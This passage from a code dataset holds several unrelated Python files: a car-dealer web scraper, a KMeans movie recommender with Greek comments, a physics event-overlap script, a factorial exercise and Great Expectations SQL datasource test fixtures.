detail_info[3].text.strip(),\n u\"汽车类型\": detail_info[4].text.strip(),\n u\"排量\": \"null\" if detail_info[6].text == \"\" else detail_info[6].text,\n u\"车系编号\": car_id,\n \"url\": value_dict[\"detail_url\"] + car_id + \".html\"\n }\n car_info_list.append(data)\n if car_info_list:\n writeCarInfo(data_list=car_info_list)\n self.dealer_info(car_info_list=car_info_list, serises_dict=value_dict)\n\n def dealer_info(self, car_info_list, serises_dict):\n\n city_dict = {\n \"beijing\": \"http://dealer.autotimes.com.cn/beijing/{serises_id}/?page={page}\",\n \"shanghai\": \"http://dealer.autotimes.com.cn/shanghai/{serises_id}/?page={page}\",\n \"guangzhou\": \"http://dealer.autotimes.com.cn/guangzhou/{serises_id}/?page={page}\",\n \"shenzhen\": \"http://dealer.autotimes.com.cn/shenzhen/{serises_id}/?page={page}\"\n }\n\n for city in city_dict:\n page = 1\n serises_id = serises_dict[\"serises_id\"]\n while True:\n url = city_dict[city].format(page=page, serises_id=serises_id)\n web_data = downloader(url=url)\n if web_data:\n soup = BeautifulSoup(markup=web_data, features=\"lxml\")\n dealers_list = soup.find_all(name=\"div\", attrs={\"class\": \"shangjia_liebiao_le4\"})\n if dealers_list:\n for car_info in car_info_list:\n for dealer in dealers_list:\n dealer_name = dealer.contents[1].text.strip()\n dealer_telephone = dealer.contents[5].contents[0].contents[5].text.strip().split(\":\")[\n -1]\n dealer_address = dealer.contents[5].contents[0].contents[3].attrs[\"title\"].strip()\n dealer_dict = {\n \"car_id\": car_info[u\"车系编号\"],\n \"brand\": car_info[u\"车系\"],\n \"name\": dealer_name,\n \"phoneNumber\": dealer_telephone,\n \"address\": dealer_address\n }\n if dealer_name and dealer_telephone and dealer_address:\n writeDelaer(data=dealer_dict, city=city)\n page += 1\n else:\n break\n else:\n break\n","sub_path":"carSpiders/CarTimesSpider/carInfo.py","file_name":"carInfo.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"346514085","text":"# Libraries\nimport pandas as pd\nimport numpy as np\nfrom sklearn.cluster import KMeans\n\n# Import data σε pandas dataframes\n# Τα csv αρχεία χωρίζουν τις στήλες με tab\n# Αφαιρούμε την 1η στήλη επειδή είναι ίδια με το index που δημιουργεί το pandas\nmovies_df = pd.read_csv('data/movies.csv', sep='\\t')\nmovies_df = movies_df.drop(movies_df.columns[0], axis=1)\n\nusers_df = pd.read_csv('data/users.csv', sep='\\t')\nusers_df = users_df.drop(users_df.columns[0], axis=1)\n\nratings_df = pd.read_csv('data/ratings.csv', sep=';')\nratings_df = ratings_df.drop(ratings_df.columns[0], axis=1)\n\n# Μετατρέπουμε τις στήλες gender και age_desc του users_df σε categorical data για να μπορούμε χρησιμοποιήσουμε την αριθμητική τους αναπαράσταση (cat.codes)\n# (Ο KMeans δεν μπορεί να πάρει categorical data οπότε πρέπει να τα μετατρέψουμε σε αριθμούς)\nusers_df.gender = users_df.gender.astype('category')\nusers_df.age_desc = users_df.age_desc.astype('category')\n\n# Unique genres χρησιμοποιώντας την explode() αφού τα χωρίσουμε σε κάθε |\nunique_genres = movies_df[\"genres\"].str.split('|').explode().unique()\n\n# Συνάρτηση που ζητάει το id του χρήστη για τον οποίο θέλουμε να δώσουμε προτάσεις\ndef get_input_id():\n user_id = int(input(\"Enter user ID (-1 if you want to quit): \\n\"))\n return user_id\n\n# Συνάρτηση που φτιάχνει και επιστρέφει το array που θα δώσουμε στον KMeans\ndef create_kmeans_dataset():\n user_ids = np.array(users_df.user_id) # Πάιρνουμε array με όλα τα ids από το users dataframe\n kmeans_complete_dataset = [] # Initialize το array\n\n # Loop για κάθε user και δημιουργία array με τα ratings του χρήστη σε κάθε είδος ΚΑΙ τα βασικά χαρακτηριστικά του (age, occupation etc...)\n for user_id in user_ids:\n # print για να εμφανίσουμε το progress (χρειάζεται λίγη ώρα για να κάνει το analyze)\n if (user_id % 1000 == 0):\n print('...+1000 users have been analyzed... Please wait...')\n\n kmeans_avg_ratings_dataset = get_average_user_ratings_by_genre(user_id) # παίρνουμε το array με τα average ratings του user ανά είδος ταινίας\n kmeans_user_info_dataset = get_user_info(user_id) # παίρνουμε το array με τα χαρακτηριστικά του user (gender, occupation, age_desc)\n\n # Συνδυάζουμε σε ένα array τα average ratings per genre και τα χαρακτηριστικά\n # Βάζουμε το array αυτό στο kmeans_complete_dataset το οποίο είναι ένα array of arrays με τα στοιχεία κάθε user\n kmeans_curr_user_dataset = np.append(kmeans_avg_ratings_dataset, kmeans_user_info_dataset)\n kmeans_complete_dataset.append(kmeans_curr_user_dataset)\n\n return kmeans_complete_dataset\n\n# Συνάρτηση που επιστρέφει array με τις average βαθμολογίες κάθε είδους αναλόγως το χρήστη (χρειαζόμαστε το id του)\ndef get_average_user_ratings_by_genre(id):\n ratings_curr_user_df = ratings_df[ratings_df.user_id == id] # παίρνουμε τα ratings του συγκεκριμένου χρήστη από το ratings dataframe\n curr_user_merged_df = movies_df.merge(ratings_curr_user_df, on='movie_id', how='right') # κάνουμε merge με το movies dataframe (right merge για να πάρουμε μόνο τις ταινίες που έχει βαθμολογήσει ο χρήστης)\n ratings_per_genre_curr_user_df = curr_user_merged_df.assign(Genre=curr_user_merged_df.genres.str.split(r'|')).explode('Genre') # split τα genres σε διαφορετικά rows\n avg_ratings_per_genre_curr_user = ratings_per_genre_curr_user_df.groupby('Genre').rating.mean() # παίρνουμε τα average ratings με τη συνάρτηση mean() αφού πρώτα ομαδοποιήσουμε τις ταινίες ανά είδος\n avg_ratings_per_genre_curr_user = avg_ratings_per_genre_curr_user.reindex(unique_genres).fillna(0) # βάζουμε όλα τα genres και ορίζουμε το average rating ενός είδους ίσο με το 0 εάν ο χρήστης δεν έχει βαθμολογήσει καμία ταινία του συγκεκριμένου είδους\n avg_ratings_per_genre_curr_user.sort_index(inplace=True) # sort για να είναι όλες οι βαθμολογίες των χρηστών με την ίδια σειρά\n return np.array(avg_ratings_per_genre_curr_user.values) # επιστρέφουμε τα average ratings για κάθε είδος με τη μορφή ενός np.array\n\n# Συνάρτηση που επιστρέφει array με τα χαρακτηριστικά ενός χρήστη (θα τα εισάγουμε στο kmeans dataset)\ndef get_user_info(id):\n curr_user_data = users_df[users_df.user_id == id] # παίρνουμε το row από το users dataframe με βάση το user_id\n user_info = np.append(curr_user_data.gender.cat.codes, curr_user_data.occupation) # εφόσον έχουμε ορίσει το gender ως categorical data παίρνουμε τον κωδικό του. Επίσης παίρνουμε το occupation που είναι ήδη κωδικοποιημένο\n user_info = np.append(user_info, curr_user_data.age_desc.cat.codes) # εφόσον έχουμε ορίσει το age_desc ως categorical data παίρνουμε τον κωδικό του\n return user_info\n\n# Συνάρτηση που δημιουργεί και επιστρέφει dataframe με το id του χρήστη και το cluster στο οποίο ανήκει\ndef cluster_users(cluster_array):\n user_ids = np.array(users_df.user_id) # Πάιρνουμε array με όλα τα ids από το users dataframe\n users_clustered = pd.DataFrame(columns=['user_id', 'cluster']) # initialize dataframe με 2 columns -> user_id και cluster στο οποίο ανήκει ο συγκεκριμένος χρήστης\n\n i = 0 # το χρησιμοποιούμε για να κάνουμε iterate τις τιμές του cluster_array (δηλαδή τα predictions από τον kmeans)\n # Loop τα ids των χρηστών\n for id in user_ids:\n users_clustered = users_clustered.append({'user_id': id, 'cluster': cluster_array[i]}, ignore_index=True) # για κάθε χρ΄΄ηστη συμπληρώνουμε το id του και την ομάδα στην οποία ανήκει σύμφωνα με τις προβλέψεις του kmeans\n i += 1\n\n return users_clustered\n\n# Συνάρτηση που επιστρέφει dataframe με τις ταινίες τις οποίες δεν έχει βαθμολογήσει ένας χρήστης\ndef get_user_incomplete_ratings(id):\n user_complete_ratings = ratings_df[ratings_df['user_id'] == id] # dataframe με όλα τα ratings του χρήστη με βάση το id του\n user_ratings_merged = movies_df.merge(user_complete_ratings, on='movie_id', how='left').drop(['user_id', 'timestamp', 'genres'], axis=1) # merge *left* με το movies dataframe για να πάρουμε το σύνολο των ταινιών (ακόμη και αυτές που δεν έχει βαθμολογήσει)\n user_incomplete_ratings = user_ratings_merged[user_ratings_merged.rating.isna()] # παίρνουμε μόνο τις ταινίες στις οποίες το rating είναι NaN\n\n return user_incomplete_ratings\n\n# Συνάρτηση που επιστρέφει τον αριθμό του cluster στον οποίο έχει προβλέψει ο αλγόριθμος ότι ανήκει ενας χρήστης (χρειαζόμαστε το id του)\ndef get_user_cluster_num(id):\n return clusters_df[clusters_df['user_id']==id].cluster.values[0]\n\n# Συνάρτηση που επιστρέφει τις βαθμολογίες όλων των χρηστών που ανήκουν σε ένα συγκεκριμένο cluster\ndef get_related_users_ratings(cluster_num):\n user_ids_same_cluster = clusters_df[clusters_df.cluster == cluster_num].user_id.values # user_ids στο ίδιο cluster με τον χρήστη\n related_users_ratings = pd.DataFrame() # αρχικοποιούμε το dataframe που θα επιστρέψουμε\n\n # Loop τα user ids των χρηστών που ανήκουν στο ίδιο cluster\n for user_id in user_ids_same_cluster:\n current_ratings = ratings_df[ratings_df['user_id']==user_id].drop(['timestamp'], axis=1) # παίρνουμε τα ratings του συγκεκριμένου χρήστη\n related_users_ratings = related_users_ratings.append(current_ratings) # βάζουμε τα ratings στο dataframe που θα επιστρέψουμε\n\n # Αριθμός βαθμολογιών για κάθε ταινία\n movie_id_counts = related_users_ratings.movie_id.value_counts()\n # Ταινίες με τουλάχιστον 10 βαθμολογίες από διαφορετικούς χρήστες\n frequently_rated_movies = movie_id_counts[movie_id_counts >= 10]\n # array με ids ταινιών με τουλάχιστων 10 βαθμολογίες από διαφορετικούς χρήστες (frequently_rated_movies είναι τ΄ύπου pandas.Series οπότε για να πάρουμε τα ids παίρνουμε όλα τα indexes του series)\n frequently_rated_movies_ids = frequently_rated_movies.index\n\n # Επιστρέφουμε μόνο τα rating των ταινιών τις οποίες έχουν βαθμολογήσει τουλάχιστον 10 διαφορετικοί χρήστες\n related_users_ratings = related_users_ratings[related_users_ratings.movie_id.isin(frequently_rated_movies_ids)]\n return related_users_ratings\n\n# Συνάρτηση που επιστρέφει dataframe με βαθμολογίες για τις ταινίες που ΔΕΝ έχει βαθμολογήσει ένας χρήστης\n# Για κάθε ταινία χρησιμοποιούμε την average βαθμολογία που έχουν βάλει όλοι οι χρήστες οι οπο΄ίοι βρίσκονται στην ίδια ομάδα με το χρήστη για τον οποίο θέλουμε να κάνουμε προτάσεις ταινιών\ndef update_user_ratings(not_rated_df, related_users_ratings_df):\n related_users_avg_ratings_per_movie = related_users_ratings_df.groupby('movie_id').rating.mean() # Βρίσκουμε το average κάθε ταινίας\n user_updated_ratings = not_rated_df.set_index('movie_id').rating.fillna(related_users_avg_ratings_per_movie).reset_index() # Γεμίζουμε το column rating καθε ταινίας με το average rating από το παραπάνω dataframe\n return user_updated_ratings\n\n# Συνάρτηση που τυπώνει το τελικό αποτέλεσμα\ndef print_results(results_df):\n results_df = results_df.merge(movies_df, on='movie_id', how='left') # Merge με το movies dataframe για να έχουμε και τους τίτλους των ταινιών (merge left για να πάρουμε μόνο τις ταινίες με rating)\n results_df = results_df.sort_values(by='rating', ascending=False).reset_index() # Sort τις ταινίες με βάση το rating\n \n print('Recommending 10 movies:\\n')\n # Εμφανίζουμε κάθε φορά των τίτλο τις ταινίας και το σκορ της\n for i in range(10):\n current_title = results_df['title'].iloc[i]\n current_score = round(results_df['rating'].iloc[i], 1)\n print(f\"{i+1} -> {current_title} | rating: {current_score}\")\n\n\n### ----------- ΑΡΧΗ ΠΡΟΓΡΑΜΜΑΤΟΣ ----------- ###\n# Implement του KMeans\nprint('Preparing Data...')\nX = create_kmeans_dataset() # δημιουργία dataset\nkmeans = KMeans(n_clusters=5) # ζητάμε από τον kmeans να χρησιμοποιήσει 5 ομάδες για να χωρίσει τους χρήστες (αυθαίρετα, αλλά δεν είναι απαραίτητο ότι όσο μεγαλώνει ο αριθμός μεγαλώνει και η ακρίβεια του αποτελέσματος)\nkmeans.fit(X)\n\n# Predictions της ομάδας κάθε user\ny_kmeans = kmeans.predict(X)\nclusters_df = cluster_users(y_kmeans) # δημιουργούμε το dataframe με τους users και το cluster στο οποίο ανήκουν\n\n# Main Loop\nuser_id = get_input_id() # Ζητάμε το id του χρήστη για το οποίο θα δώσουμε προτάσεις\nwhile (user_id != -1):\n print(f'\\nPlease wait while we try to find the best matches for you! (user_id: {user_id})\\n')\n\n # Βρίσκουμε το cluster στο οποίο ανήκει ο συγκεκριμένος χρήστης\n cluster_num = get_user_cluster_num(user_id)\n\n # Παίρνουμε τις βαθμολογίες όλων των χρηστών που βρίσκονται στην ίδια ομάδα\n related_users_ratings_df = get_related_users_ratings(cluster_num)\n\n # Παίρνουμε τις ταινίες τις οποίες ΔΕΝ έχει βαθμολογησει ο χρήστης\n not_rated_df = get_user_incomplete_ratings(user_id)\n \n # Κάνουμε update τις ταινίες που δεν έχει βαθμολογήσει ο χρήστης δίνοντας ως τιμή το average rating της κάθε ταινίας (την οποία έχουν βαθμολογήσει παρόμοιοι χρήστες)\n user_updated_ratings = update_user_ratings(not_rated_df, related_users_ratings_df)\n\n # Τέλος, εμφανίζουμε τις προτάσεις που κάνει το σύστημα\n print_results(user_updated_ratings)\n\n # Ζητάμε καινούριο id για να δώσουμε προτάσεις σε άλλο χρήστη\n user_id = get_input_id()\n","sub_path":"movie_recommender.py","file_name":"movie_recommender.py","file_ext":"py","file_size_in_byte":14609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"224113965","text":"#!/usr/bin/env python\n\nfrom tthAnalysis.HiggsToTauTau.common import logging\n\nimport os\nimport copy\n\nCHANNEL_OPTIONS = {\n '0l_2tau' : {\n 'SR' : 'Tight_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_OS',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights_OS',\n },\n '1l_2tau' : {\n 'SR' : 'Tight_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_OS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_OS',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights_OS',\n },\n '2l_2tau' : {\n 'SR' : 'Tight_sumOS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_sumOS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_sumOS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_sumOS',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights_sumOS',\n },\n '2lss' : {\n 'SR' : 'Tight_SS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_SS',\n 'Charge flip' : 'Tight_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_SS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_SS',\n },\n '2los_1tau' : {\n 'SR' : 'Tight',\n 'Fake AR' : 'Fakeable_wFakeRateWeights',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights',\n },\n '2lss_1tau' : {\n 'SR' : 'Tight_SS_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_SS_OS',\n 'Charge flip' : 'Tight_OS_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_SS_OS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_SS_OS',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights_SS_OS',\n },\n '3l' : {\n 'SR' : 'Tight_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_OS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_OS',\n },\n '3l_1tau' : {\n 'SR' : 'Tight_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_OS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_OS',\n 'MC closure t' : 'Fakeable_mcClosure_t_wFakeRateWeights_OS',\n },\n '4l': {\n 'SR' : 'Tight_OS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_OS',\n 'MC closure e': 'Fakeable_mcClosure_e_wFakeRateWeights_OS',\n 'MC closure m': 'Fakeable_mcClosure_m_wFakeRateWeights_OS',\n },\n 'ttWctrl' : {\n 'SR' : 'Tight_SS',\n 'Fake AR' : 'Fakeable_wFakeRateWeights_SS',\n 'Charge flip' : 'Tight_OS',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights_SS',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights_SS',\n },\n 'ttZctrl' : {\n 'SR' : 'Tight',\n 'Fake AR' : 'Fakeable_wFakeRateWeights',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights',\n },\n 'WZctrl' : {\n 'SR' : 'Tight',\n 'Fake AR' : 'Fakeable_wFakeRateWeights',\n 'MC closure e' : 'Fakeable_mcClosure_e_wFakeRateWeights',\n 'MC closure m' : 'Fakeable_mcClosure_m_wFakeRateWeights',\n },\n}\n\ncfg_options = {\n '2l_2tau' : '/hdfs/local/karl/ttHAnalysis/2017/2018Jun26',\n}\n\nrles = {}\nfor channel in cfg_options:\n logging.info('Inspecting channel {}'.format(channel))\n base_path = os.path.join(cfg_options[channel], 'output_rle', channel)\n if not os.path.isdir(base_path):\n raise ValueError('No such directory: %s' % base_path)\n rles[channel] = {}\n for region_name, region in CHANNEL_OPTIONS[channel].items():\n region_path = os.path.join(base_path, region)\n if not os.path.isdir(region_path):\n continue\n logging.info('Inspecting region {}'.format(region_name))\n rles[channel][region_name] = {}\n for sample_name in os.listdir(region_path):\n if sample_name != 'ttHJetToNonbb_M125_amcatnlo': continue\n logging.info('Inspecting sample {}'.format(sample_name))\n sample_path = os.path.join(region_path, sample_name)\n rles[channel][region_name][sample_name] = {}\n for rle_file in os.listdir(sample_path):\n rle_file_path = os.path.join(sample_path, rle_file)\n sys_option = ''\n if 'central' in rle_file:\n sys_option = 'central'\n elif 'CMS' in rle_file:\n sys_option = rle_file[rle_file.find('CMS') : rle_file.find(rle_file.split('_')[-1]) - 1]\n else:\n raise RuntimeError('Unrecognizable file: %s' % rle_file_path)\n assert(sys_option)\n\n rle_arr = set()\n with open(rle_file_path, 'r') as rle_file_ptr:\n for line in rle_file_ptr:\n rle_arr.add(line.rstrip('\\n'))\n rles[channel][region_name][sample_name][sys_option] = copy.deepcopy(rle_arr)\n\n sys_options = list(sorted(rles[channel][region_name][sample_name].keys()))\n if 'central' in sys_options:\n sys_options.remove('central')\n sys_options = [ 'central' ] + sys_options\n header = [ '' ] + sys_options\n rows = [ header ]\n for sys_option_outer in sys_options:\n row = []\n row.append(sys_option_outer)\n for sys_option_outer in rles[channel][region_name][sample_name]:\n for sys_option_inner in rles[channel][region_name][sample_name]:\n outer_set = rles[channel][region_name][sample_name][sys_option_outer]\n inner_set = rles[channel][region_name][sample_name][sys_option_inner]\n logging.debug('{} vs {}: {} common, {} ({}) exclusively in {} ({})'.format(\n sys_option_outer, sys_option_inner, len(outer_set & inner_set),\n len(outer_set - inner_set), len(inner_set - outer_set), sys_option_outer, sys_option_inner\n ))\n\n\n\n","sub_path":"scripts/inspect_overlaps.py","file_name":"inspect_overlaps.py","file_ext":"py","file_size_in_byte":5847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"233290299","text":"#三种求 5!+ 4!+ 3!+ 2!+ 1!之和的方法\n\ndef cross(n):\n result = 1\n while n > 1:\n result *= n\n n -= 1\n return result\nsum = 0\nfor i in range(1,6):\n sum += cross(i)\nprint(sum)\n\n\nsum = 0\na = 1\nfor i in range(1, 6):\n a *= i\n sum += a\nprint(sum)\n\nprint(cross(6))\n\n\ndef cross(n):\n if n == 1:\n return 1\n if n >= 1:\n return n * cross(n-1)\nsum = 0\nfor i in range(1,6):\n sum += cross(i)\nprint(sum)\n\n","sub_path":"P17043-class-leader/self_small_trainning/20181123.py","file_name":"20181123.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"195506518","text":"from __future__ import annotations\n\nimport logging\nimport os\nimport sys\nimport uuid\nfrom pprint import pformat as pf\nfrom typing import TYPE_CHECKING, Final, Generator, Literal, Protocol\n\nimport pytest\nfrom packaging.version import Version\nfrom pytest import param\n\nfrom great_expectations import get_context\nfrom great_expectations.compatibility.sqlalchemy import (\n TextClause,\n engine,\n inspect,\n)\nfrom great_expectations.compatibility.sqlalchemy import (\n __version__ as sqlalchemy_version,\n)\nfrom great_expectations.data_context import EphemeralDataContext\nfrom great_expectations.datasource.fluent import (\n DatabricksSQLDatasource,\n PostgresDatasource,\n SnowflakeDatasource,\n SQLDatasource,\n)\nfrom great_expectations.expectations.expectation import (\n ExpectationConfiguration,\n)\n\nif TYPE_CHECKING:\n from typing_extensions import TypeAlias\n\nPYTHON_VERSION: Final[\n Literal[\"py38\", \"py39\", \"py310\", \"py311\"]\n] = f\"py{sys.version_info.major}{sys.version_info.minor}\" # type: ignore[assignment] # str for each python version\nSQLA_VERSION: Final = Version(sqlalchemy_version or \"0.0.0\")\nLOGGER: Final = logging.getLogger(\"tests\")\n\nTEST_TABLE_NAME: Final[str] = \"test_table\"\n# trino container ships with default test tables\nTRINO_TABLE: Final[str] = \"customer\"\n\n# NOTE: can we create tables in trino?\n# some of the trino tests probably don't make sense if we can't create tables\nDO_NOT_CREATE_TABLES: set[str] = {\"trino\"}\n\nDatabaseType: TypeAlias = Literal[\"trino\", \"postgres\", \"databricks_sql\", \"snowflake\"]\nTableNameCase: TypeAlias = Literal[\n \"quoted_lower\",\n \"quoted_mixed\",\n \"quoted_upper\",\n \"unquoted_lower\",\n \"unquoted_mixed\",\n \"unquoted_upper\",\n]\n\n# TODO: simplify this and possible get rid of this mapping once we have settled on\n# all the naming conventions we want to support for different SQL dialects\n# NOTE: commented out are tests we know fail for individual datasources. Ideally all\n# test cases should work for all datasrouces\nTABLE_NAME_MAPPING: Final[dict[DatabaseType, dict[TableNameCase, str]]] = {\n \"postgres\": {\n \"unquoted_lower\": TEST_TABLE_NAME.lower(),\n \"quoted_lower\": f'\"{TEST_TABLE_NAME.lower()}\"',\n # \"unquoted_upper\": TEST_TABLE_NAME.upper(),\n \"quoted_upper\": f'\"{TEST_TABLE_NAME.upper()}\"',\n \"quoted_mixed\": f'\"{TEST_TABLE_NAME.title()}\"',\n # \"unquoted_mixed\": TEST_TABLE_NAME.title(),\n },\n \"trino\": {\n \"unquoted_lower\": TRINO_TABLE.lower(),\n \"quoted_lower\": f\"'{TRINO_TABLE.lower()}'\",\n # \"unquoted_upper\": TRINO_TABLE.upper(),\n # \"quoted_upper\": f\"'{TRINO_TABLE.upper()}'\",\n # \"quoted_mixed\": f\"'TRINO_TABLE.title()'\",\n # \"unquoted_mixed\": TRINO_TABLE.title(),\n },\n \"databricks_sql\": {\n \"unquoted_lower\": TEST_TABLE_NAME.lower(),\n \"quoted_lower\": f\"`{TEST_TABLE_NAME.lower()}`\",\n \"unquoted_upper\": TEST_TABLE_NAME.upper(),\n \"quoted_upper\": f\"`{TEST_TABLE_NAME.upper()}`\",\n \"quoted_mixed\": f\"`{TEST_TABLE_NAME.title()}`\",\n \"unquoted_mixed\": TEST_TABLE_NAME.title(),\n },\n \"snowflake\": {\n \"unquoted_lower\": TEST_TABLE_NAME.lower(),\n \"quoted_lower\": f'\"{TEST_TABLE_NAME.lower()}\"',\n \"unquoted_upper\": TEST_TABLE_NAME.upper(),\n \"quoted_upper\": f'\"{TEST_TABLE_NAME.upper()}\"',\n \"quoted_mixed\": f'\"{TEST_TABLE_NAME.title()}\"',\n # \"unquoted_mixed\": TEST_TABLE_NAME.title(),\n },\n}\n\n\n@pytest.fixture\ndef context() -> EphemeralDataContext:\n ctx = get_context(cloud_mode=False)\n assert isinstance(ctx, EphemeralDataContext)\n return ctx\n\n\nclass TableFactory(Protocol):\n def __call__(\n self,\n engine: engine.Engine,\n table_names: set[str],\n schema: str | None = None,\n ) -> None:\n ...\n\n\ndef get_random_identifier_name() -> str:\n guid = uuid.uuid4()\n return f\"i{guid.hex}\"\n\n\n@pytest.fixture(scope=\"function\")\ndef capture_engine_logs(caplog: pytest.LogCaptureFixture) -> pytest.LogCaptureFixture:\n \"\"\"Capture SQLAlchemy engine logs and display them if the test fails.\"\"\"\n caplog.set_level(logging.INFO, logger=\"sqlalchemy.engine\")\n return caplog\n\n\n@pytest.fixture(scope=\"function\")\ndef table_factory(\n capture_engine_logs: pytest.LogCaptureFixture,\n) -> Generator[TableFactory, None, None]:\n \"\"\"\n Given a SQLALchemy engine, table_name and schema,\n create the table if it does not exist and drop it after the test.\n \"\"\"\n all_created_tables: dict[\n str, list[dict[Literal[\"table_name\", \"schema\"], str | None]]\n ] = {}\n engines: dict[str, engine.Engine] = {}\n\n def _table_factory(\n engine: engine.Engine,\n table_names: set[str],\n schema: str | None = None,\n ) -> None:\n if engine.dialect.name in DO_NOT_CREATE_TABLES:\n LOGGER.info(\n f\"Skipping table creation for {table_names} for {engine.dialect.name}\"\n )\n return\n LOGGER.info(\n f\"SQLA:{SQLA_VERSION} - Creating `{engine.dialect.name}` table for {table_names} if it does not exist\"\n )\n created_tables: list[dict[Literal[\"table_name\", \"schema\"], str | None]] = []\n with engine.connect() as conn:\n transaction = conn.begin()\n if schema:\n conn.execute(TextClause(f\"CREATE SCHEMA IF NOT EXISTS {schema}\"))\n for name in table_names:\n qualified_table_name = f\"{schema}.{name}\" if schema else name\n conn.execute(\n TextClause(\n f\"CREATE TABLE IF NOT EXISTS {qualified_table_name} (id INTEGER, name VARCHAR(255))\"\n )\n )\n created_tables.append(dict(table_name=name, schema=schema))\n transaction.commit()\n all_created_tables[engine.dialect.name] = created_tables\n engines[engine.dialect.name] = engine\n\n yield _table_factory\n\n # teardown\n print(f\"dropping tables\\n{pf(all_created_tables)}\")\n for dialect, tables in all_created_tables.items():\n engine = engines[dialect]\n with engine.connect() as conn:\n transaction = conn.begin()\n for table in tables:\n name = table[\"table_name\"]\n schema = table[\"schema\"]\n qualified_table_name = f\"{schema}.{name}\" if schema else name\n conn.execute(TextClause(f\"DROP TABLE IF EXISTS {qualified_table_name}\"))\n if schema:\n conn.execute(TextClause(f\"DROP SCHEMA IF EXISTS {schema}\"))\n transaction.commit()\n\n\n@pytest.fixture\ndef trino_ds(context: EphemeralDataContext) -> SQLDatasource:\n ds = context.sources.add_sql(\n \"trino\",\n connection_string=\"trino://user:@localhost:8088/tpch/sf1\",\n )\n return ds\n\n\n@pytest.fixture\ndef postgres_ds(context: EphemeralDataContext) -> PostgresDatasource:\n ds = context.sources.add_postgres(\n \"postgres\",\n connection_string=\"postgresql+psycopg2://postgres:postgres@localhost:5432/test_ci\",\n )\n return ds\n\n\n@pytest.fixture\ndef databricks_sql_ds(context: EphemeralDataContext) -> DatabricksSQLDatasource:\n ds = context.sources.add_databricks_sql(\n \"databricks_sql\",\n connection_string=\"databricks://token:\"\n \"${DATABRICKS_TOKEN}@${DATABRICKS_HOST}:443\"\n \"/\"\n + PYTHON_VERSION\n + \"?http_path=${DATABRICKS_HTTP_PATH}&catalog=ci&schema=\"\n + PYTHON_VERSION,\n )\n return ds\n\n\n@pytest.fixture\ndef snowflake_creds_populated() -> bool:\n if os.getenv(\"SNOWFLAKE_CI_USER_PASSWORD\") or os.getenv(\"SNOWFLAKE_CI_ACCOUNT\"):\n return True\n return False\n\n\n@pytest.fixture\ndef snowflake_ds(\n context: EphemeralDataContext, snowflake_creds_populated: bool\n) -> SnowflakeDatasource:\n if not snowflake_creds_populated:\n pytest.skip(\"no snowflake credentials\")\n ds = context.sources.add_snowflake(\n \"snowflake\",\n connection_string=\"snowflake://ci:${SNOWFLAKE_CI_USER_PASSWORD}@${SNOWFLAKE_CI_ACCOUNT}/ci/public?warehouse=ci&role=ci\",\n )\n return ds\n\n\n@pytest.mark.parametrize(\n \"asset_name\",\n [\n param(\"unquoted_lower\"),\n param(\"quoted_lower\"),\n param(\"unquoted_upper\"),\n param(\"quoted_upper\"),\n param(\"quoted_mixed\"),\n param(\"unquoted_mixed\"),\n ],\n)\nclass TestTableIdentifiers:\n @pytest.mark.trino\n def test_trino(self, trino_ds: SQLDatasource, asset_name: TableNameCase):\n table_name = TABLE_NAME_MAPPING[\"trino\"].get(asset_name)\n if not table_name:\n pytest.skip(f\"no '{asset_name}' table_name for trino\")\n\n table_names: list[str] = inspect(trino_ds.get_engine()).get_table_names()\n print(f\"trino tables:\\n{pf(table_names)}))\")\n\n trino_ds.add_table_asset(asset_name, table_name=table_name)\n\n @pytest.mark.postgresql\n def test_postgres(\n self,\n postgres_ds: PostgresDatasource,\n asset_name: TableNameCase,\n table_factory: TableFactory,\n ):\n table_name = TABLE_NAME_MAPPING[\"postgres\"].get(asset_name)\n if not table_name:\n pytest.skip(f\"no '{asset_name}' table_name for databricks\")\n # create table\n table_factory(engine=postgres_ds.get_engine(), table_names={table_name})\n\n table_names: list[str] = inspect(postgres_ds.get_engine()).get_table_names()\n print(f\"postgres tables:\\n{pf(table_names)}))\")\n\n postgres_ds.add_table_asset(asset_name, table_name=table_name)\n\n @pytest.mark.databricks\n def 